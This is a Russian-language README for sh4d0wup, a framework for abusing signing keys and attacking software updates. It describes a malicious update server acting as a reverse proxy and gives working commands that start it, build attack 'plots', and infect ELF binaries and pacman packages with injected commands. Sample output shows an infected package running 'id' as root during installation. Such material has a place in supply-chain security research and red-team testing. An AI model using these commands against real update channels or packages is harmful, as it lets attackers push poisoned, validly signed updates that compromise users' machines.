kpcyrd/sh4d0wupЗлоупотребление ключами подписи и фреймворк эксплуатации обновлений
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
front Bind a http/https server but forward everything unmodified
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
req Emulate a http request to test routing and selectors
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Increase logging output (can be used multiple times)
-q, --quiet... Reduce logging output (can be used multiple times)
-h, --help Print help information
-V, --version Print version information
Вы когда-нибудь задумывались, что загружаемое вами обновление — это то же самое, что получают все остальные, или вам досталось другое, созданное специально для вас? Теневые обновления — это обновления, которые официально не существуют, но имеют действительные подписи и будут приняты клиентами как подлинные. Это может произойти, если ключ подписи скомпрометирован хакерами или если инженер релиза с легитимным доступом идёт на криминал.
sh4d0wup — это вредоносный http/https-сервер обновлений, который действует как обратный прокси перед легитимным сервером и может заражать и подписывать различные форматы артефактов. Атаки настраиваются с помощью plot (сценариев), которые описывают, как работает маршрутизация http-запросов, как исправляются/генерируются артефакты, как они должны быть подписаны и каким ключом. У маршрута могут быть selectors (селекторы), чтобы он срабатывал, только если, например, user-agent соответствует шаблону или клиент подключается с определённого IP-адреса. Для разработки и тестирования можно сгенерировать фиктивные ключи/сертификаты подписи и пометить их как доверенные.
Готовый бинарник доступен в официальном репозитории Arch Linux [extra]. Чтобы собрать бинарник из исходников в системе на основе Debian, используйте следующее (проверено на ubuntu 22.04):
apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release
sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help
Некоторые сценарии (plot) готовить сложнее, чем другие; чтобы избежать долгого запуска из-за загрузок и исправления артефактов, можно собрать plot заранее. Это также позволяет создать подписи заранее.
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
Эта команда запускает вредоносный http-сервер обновлений согласно сценарию. Также можно передавать yaml-файлы, но они могут запускаться дольше.
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
Примеры можно найти здесь:
contrib/plot-archlinux.yamlcontrib/plot-debian.yamlcontrib/plot-rustup.yamlcontrib/plot-curl-sh.yamlsh4d0wup infect elf% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Turn debugging information on
-h, --help Print help information
sh4d0wup infect pacman% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) sh4d0wup-0.2.0-2
Total Installed Size: 13.36 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [#######################################] 100%
(1/1) checking package integrity [#######################################] 100%
(1/1) loading package files [#######################################] 100%
(1/1) checking for file conflicts [#######################################] 100%
(1/1) checking available disk space [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk
sh4d0wup infect deb